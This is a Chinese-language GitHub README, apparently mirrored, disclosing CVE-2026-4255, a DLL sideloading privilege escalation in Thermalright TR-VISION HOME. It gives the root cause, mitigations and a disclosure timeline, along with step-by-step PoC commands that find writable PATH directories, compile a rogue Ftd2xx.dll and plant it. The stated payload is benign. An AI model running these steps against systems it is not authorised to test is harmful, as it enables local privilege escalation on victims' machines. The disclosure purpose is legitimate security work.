Ard33/CVE-2026-4255

GitHub: Ard33/CVE-2026-4255

针对 Thermalright TR-VISION HOME 软件的 DLL 侧载本地权限提升漏洞的 PoC,演示了低权限用户通过劫持 PATH 搜索顺序中的 DLL 获取管理员权限的完整攻击链。

Stars: 1 | Forks: 0

# CVE-2026-4255 Thermalright TR-VISION HOME DLL 侧载权限提升 **严重程度:** HIGH (CVSS 8.4) **CWE:** CWE-829 包含来自不受信任控制域的功能 **发布日期:** 16/03/2026 **CNA:** Toreon **受影响版本:** Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit) **发现者:** Ard33 ## 描述 Thermalright TR-VISION HOME 使用默认的 Windows DLL 搜索顺序加载 `Ftd2xx.dll`(FTDI USB 转串口库)。该顺序在受保护的系统位置之前包含了用户可写的目录。由于 TR-VISION HOME 始终以管理员权限执行,并且不对加载的库进行完整性或签名验证,因此能够写入 `PATH` 环境变量中任何目录的攻击者可以植入一个精心构造的 `Ftd2xx.dll`,并在应用程序下次启动时以提升的权限加载它。 植入 DLL 不需要管理员权限。低权限用户可以利用此漏洞针对随后以提升权限启动 TR-VISION HOME 的任何用户。 ### CVSS 4.0 向量 ``` CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H ``` | 指标 | 值 | |---|---| | 攻击途径 (Attack Vector) | 本地 (Local) | | 攻击复杂度 (Attack Complexity) | 低 (Low) | | 攻击要求 (Attack Requirements) | 无 (None) | | 所需权限 (Privileges Required) | 无 (None) | | 用户交互 | 主动 (受害者启动应用) | ## 根本原因 应用程序调用 `LoadLibrary("Ftd2xx.dll")`(或在加载时隐式导入它)时没有指定完全限定的路径。Windows 通过遍历 [MSDN 动态链接库搜索顺序](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) 中定义的搜索顺序来解析该库: 1. 从中加载应用程序的目录 2. 系统目录 (`C:\Windows\System32`) 3. 16 位系统目录 4. Windows 目录 5. **当前工作目录** 6. **`PATH` 环境变量中列出的目录** ← 可被利用 攻击者将 `Ftd2xx.dll` 植入到 `PATH` 中位于 `System32` 之前的用户可写目录中。`C:\Users\\.local\bin`) 就是这样一个目录,并且默认存在于 `PATH` 中,使其成为一个可靠的投放位置。 ## 受影响软件 | 软件 | 版本 | 平台 | |---|---|---| | Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 | 已在 Windows 11 上的 TR-VISION HOME 2.0.5 版本上进行了测试。 ## 概念验证 ### 前置条件 - 任何标准 Windows 用户帐户(植入 DLL 不需要管理员权限) - `%PATH%` 中存在的一个用户可写目录 - 目标用户必须启动 TR-VISION HOME(它会在启动时通过 UAC 请求提权) ### 步骤 **1. 识别可写的 PATH 目录** ``` $env:PATH -split ';' | Where-Object { if (-not $_ -or -not (Test-Path $_)) { return $false } try { $t = Join-Path $_ '.wrtest' [System.IO.File]::Create($t).Close() Remove-Item $t -Force $true } catch { $false } } ``` 一个可靠的默认位置:`C:\Users\\.local\bin` **2. 编译 PoC DLL** MinGW(交叉编译或原生编译): ``` gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib ``` MSVC: ``` cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll ``` **3. 植入 DLL** 从步骤 1 中选择任何可写目录。两个常见的默认位置: ``` :: uv / pipx default scripts directory copy Ftd2xx.dll "C:\Users\\.local\bin\Ftd2xx.dll" :: Python Launcher (standard Python install) copy Ftd2xx.dll "C:\Users\\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll" ``` 此步骤不需要提权。 **4. 触发** 受害者启动 TR-VISION HOME(例如从开始菜单或系统托盘)。UAC 提示以管理员权限运行应用程序。在初始化期间,`Ftd2xx.dll` 通过搜索顺序被解析,在 `System32` 之前找到了被植入的副本,攻击者的 `DllMain` 在提权后的进程内执行。 **5. 预期结果** - 弹出一个弹窗,确认 DLL 已在提权进程中被加载 - 创建 `C:\Users\Public\CVE-2026-4255_pwned.txt` 文件,包含: - TR-VISION HOME 的进程 ID - 确认 `TokenIsElevated = YES` ### 截图证据 Procmon 显示 TR-VISION HOME (PID 78940) 在 PATH 目录中搜索 `Ftd2xx.dll` —— 全部返回 NAME NOT FOUND,直到找到被植入的副本: ![Procmon 跟踪](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/fb93c73cfc171654.png) `Ftd2xx.dll` 被植入到 `AppData\Local\Programs\Python\Launcher\` 中(日期为 26/12/2025 —— 发现当天): ![Python Launcher 中植入的 DLL](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/b9df2c31a7171700.png) 被加载的 DLL 生成的提权 cmd shell —— 标题栏确认了管理员上下文: ![提权 shell 证据](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/edf3e9efa2171706.jpg) TR-VISION HOME 版本 2.0.5: ![版本](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/4db0b7e51e171711.png) ## 缓解措施 **对于 Thermalright:** 1. 在运行时使用完全限定的路径加载 `Ftd2xx.dll`: LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); 2. 在使用 `LoadLibraryEx` 时加上 `LOAD_LIBRARY_SEARCH_SYSTEM32` 或 `LOAD_LIBRARY_SEARCH_APPLICATION_DIR` 标志。 3. 通过 `WinVerifyTrust` 验证已加载库的数字签名。 4. 启用安全 DLL 搜索模式 (`HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1`),尽管这不能完全缓解基于 PATH 的植入。 **对于用户(临时方案):** - 将合法的 `Ftd2xx.dll`(来自 FTDI D2XX 驱动程序包)直接放置在 TR-VISION HOME 的安装目录中(例如 `C:\Program Files\TR-VISION HOME\`)。应用程序目录是第一个被搜索的位置,因此那里的合法副本将优先于任何基于 PATH 的植入。 - 在补丁版本发布之前,请勿运行 TR-VISION HOME。 ## 时间线 | 日期 | 事件 | |---|---| | 26/12/2025 | 发现漏洞 | | 27/12/2025 | 通过支持渠道联系供应商 (Thermalright) | | 16/03/2026 | 公开披露,CVE-2026-4255 由 Toreon CNA 分配 | ## 参考 - [NVD CVE-2026-4255](https://nvd.nist.gov/vuln/detail/CVE-2026-4255) - [CWE-829 包含来自不受信任控制域的功能](https://cwe.mitre.org/data/definitions/829.html) - [MSDN DLL 搜索顺序](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) - [FTDI Ftd2xx 驱动](https://ftdichip.com/drivers/d2xx-drivers/) - [Thermalright TR-VISION HOME](https://www.thermalright.com/) ## 免责声明 此概念验证仅出于教育和研究目的提供。PoC 载荷是故意设计为无害的 —— 它仅写入一个文本文件并显示一个消息框。请仅对您拥有或已获得明确书面许可进行测试的系统使用。作者对误用不承担任何责任。
标签:AI合规, Conpot, CVE-2026-4255, CWE-829, DLL侧载, DLL劫持, Ftd2xx.dll, FTDI, Gophish, LoadLibrary, Thermalright, TR-VISION HOME, Windows安全, 协议分析, 安全意识培训, 客户端加密, 本地提权, 权限提升, 漏洞分析, 环境变量劫持, 端点可见性, 路径探测, 路径遍历, 高危漏洞